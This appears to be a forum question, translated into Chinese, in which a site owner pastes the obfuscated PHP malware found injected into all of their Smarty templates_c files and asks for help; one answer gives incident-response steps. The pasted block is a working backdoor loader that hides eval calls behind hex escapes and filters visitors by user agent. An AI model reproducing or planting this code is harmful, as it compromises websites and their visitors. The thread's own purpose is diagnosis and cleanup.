Smarty templates_c文件已注入恶意代码

Question

我所有的smarty templates_c文件都以此代码开头：

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $lmfjhiujjg = '53Ld]53]Kc]55Ld]55#*<%x5cf]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-t%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5:-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjqsut>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%x5787fw6*%x5c%x787f_*#fubfsdudovg}{;#)tutjyf%x5c%x7860iN}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN+c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)x5c%x7825#%x5c%x782f#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x7825%x5c%x782x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-5]241]334]368]322]3]364]6]283]427]36]373P6]#!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x78225%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%x5c%x%x66%152%x66%147%x67%42%x2c#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x782%x5c%x7825bss-%x5c%x7825r%x5c%x>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x7825:|:*rc%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fc%x7824-%x5c%x7824tvctus)%x5c%x7825po)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef7878:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbs]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]53]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x57878B%x5c%x7825h>#]y31]278]y3e]816%x21%76%x21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y7x5c%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88<h%x5c%x7825_t%x5c%x7825:%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7825ww2!>#p#%x5c%x785V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5cx5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{66~6c%x78246767~6<Cw6<pd%x5c%x7825wx785c2^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)6#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x5mf!}Z;^nbsbq%x5c%x7825%%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7qj%x5c%x78257-K)udfoopdXA%x5c%x7822)825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%x5c%fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(o]#%x5c%x782f*)323zbe!-)7gj6<*K)ftpmdXA6~6<u%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]22)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#2f#p#%x5c%x782f%x5c%x7825!-#1]#-bubE{h%x5c%x256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y7!#]y76]277]y72]265]y39]271]y83]256]y78tcvt)esp>hmg%x5c%x7825!<12>j%x5c%%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x78]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]ss-%x5c%x7825r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~]K78:56985:6197g:74985-rr.93e:5597f-s.973:c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x78604T7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x78sb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPx7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)fepd["%x61%156%x75%156%x61"]=1; function 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Nx7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%x725mm)%x5c%x7825%x5c%x7878A)qj3hopmA%x5c%x78273qj%x5c%x78256<*Y%x%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#!%x5c%x7827{**u%x5c%x7x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x78hnpd!opjudovg!|!**#j{hnpd#)turn chr(ord($n)-1);} @error_reporting(0); preg_r5)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%xovg}%x5c%x7878;0]=])0#)U<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x8]y6g]273]y76]271]y7d]2ULL); }x7822)gj!|!*nbsbq%x5c%x7825)323ldfidkx7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sur%x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b5c%x7825)sutcvt-#w#)$GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x787neb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5cx5c%x7824%x5c%x785c%x5c%x7825j^%x55z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c5!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jtepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojx78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x#Qi%x5c%x785c1^W%x5c%x7825c!>!%x825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x/(.*)/epreg_replacesovphzdccu'; $xprbtfgnxu = explode(chr((269-225)),'2239,67,9550,47,3159,49,9168,49,3796,22,8031,40,8516,69,772,27,4232,69,1506,63,1973,39,1890,31,3208,47,6391,37,4575,38,5331,62,1832,58,8374,38,8269,38,2329,27,5526,46,8071,70,1764,68,8848,65,6547,26,2089,36,7850,21,2995,37,6066,48,171,59,8938,39,5393,69,9882,40,5266,65,4553,22,4456,65,706,24,730,42,288,26,4089,23,6276,56,3475,68,4112,69,556,66,7311,36,5723,53,6428,58,2390,30,6573,24,7189,67,5141,58,6654,63,3340,57,7347,60,4002,55,314,26,4389,67,3638,65,4725,59,2526,20,8209,29,9967,39,5969,29,230,58,379,59,9530,20,3921,21,9217,55,6512,35,2645,33,9411,49,3607,31,9141,27,5653,70,665,41,9791,41,4677,48,6240,36,8141,68,6171,69,3102,57,4840,38,3543,64,9597,49,7256,55,6975,43,9832,50,9646,64,1228,68,3032,70,4926,38,992,52,9296,48,3743,53,9374,37,1044,40,4211,21,3397,33,2012,23,7925,67,3255,43,7797,53,7572,69,2947,48,7407,50,8585,49,7871,54,7051,55,8977,37,6114,57,2356,34,836,69,1705,59,6744,51,4057,32,3703,40,8238,31,7018,33,2853,52,6938,37,9272,24,9014,22,5462,64,476,21,2306,23,799,37,5625,28,3818,59,6597,57,2546,61,3298,42,7168,21,8796,52,1616,25,6486,26,2463,39,497,59,2187,52,10038,68,1181,47,7992,39,6852,22,936,56,1641,39,1569,47,4337,52,4521,32,5572,53,4784,56,9710,34,1084,35,438,38,4301,36,6332,59,4878,48,2678,52,6717,27,3942,60,9085,56,7696,69,1119,62,4964,57,7498,28,1361,58,340,39,10006,32,7457,41,3430,45,8435,34,2788,65,9036,49,5199,67,1921,52,7641,55,905,31,1473,33,2905,42,5905,64,25,44,6874,64,8412,23,5021,70,8634,53,2730,58,0,25,8307,38,7765,32,4181,30,6795,57,2420,43,622,43,5998,68,5776,37,8740,56,4613,64,9460,70,5091,50,5813,69,2035,54,2125,62,9922,45,3877,44,1680,25,2502,24,9744,47,69,63,5882,23,8913,25,132,39,7106,62,1419,54,8469,47,9344,23,7526,46,2607,38,1296,65,8345,29,8687,53,9367,7'); $fxiuoytapi=substr($lmfjhiujjg,(30707-20601),(45-38)); if (!function_exists('wxdfemgmrl')) { function wxdfemgmrl($cvuuzvbmzc, $pnrdqyabtg) { $cedmmmsdvd = NULL; for($tmiwgpbzmh=0;$tmiwgpbzmh<(sizeof($cvuuzvbmzc)/2);$tmiwgpbzmh++) { $cedmmmsdvd .= substr($pnrdqyabtg, $cvuuzvbmzc[($tmiwgpbzmh*2)],$cvuuzvbmzc[($tmiwgpbzmh*2)+1]); } return $cedmmmsdvd; };} $vptmdttcqp="\x20\57\x2a\40\x6f\153\x6e\155\x62\164\x74\161\x62\162\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x30\55\x31\67\x33\51\x29\54\x20\143\x68\162\x28\50\x34\66\x33\55\x33\67\x31\51\x29\54\x20\167\x78\144\x66\145\x6d\147\x6d\162\x6c\50\x24\170\x70\162\x62\164\x66\147\x6e\170\x75\54\x24\154\x6d\146\x6a\150\x69\165\x6a\152\x67\51\x29\51\x3b\40\x2f\52\x20\151\x6f\162\x76\165\x75\153\x77\141\x69\40\x2a\57\x20"; $igmuucuert=substr($lmfjhiujjg,(32718-22605),(71-59)); $igmuucuert($fxiuoytapi, $vptmdttcqp, NULL); $igmuucuert=$vptmdttcqp; $igmuucuert=(506-385); $lmfjhiujjg=$igmuucuert-1; ?>

这似乎很危险。这是Smarty中的安全漏洞，还是仅仅是与我的服务器相关的安全漏洞？目前该文件夹具有777权限级别（AFAIK，这是聪明的要求）。您建议检查哪些基本安全检查？

Answer 1

这可能与一般服务器安全性有关。关闭网站，但不要删除任何内容。保持运行可能会给你带来麻烦，例如：您在搜索引擎中的排名将直线下降，因为您可能会分发恶意软件或其他内容。因此，只需让您的Web服务器（例如apache）代替静态页面。

首先，您必须了解肇事者如何获取权限。这意味着检查服务器的ssh-logs以及apache-logs。检查是否有数据库访问权限。这是一项单调乏味的任务，知道要查找什么以及正则表达式的知识肯定有帮助，但仍然非常繁琐。

如果你有代码的版本控制（你应该），你可以检查哪些文件是不同的。有各种用于检查文件哈希的工具。

在您发现他们如何访问以及如何关闭漏洞后，您可能仍需要从头开始或最新备份，您知道不会受到损害。不要猜测，如果你不知道它是否被妥协，请考虑它。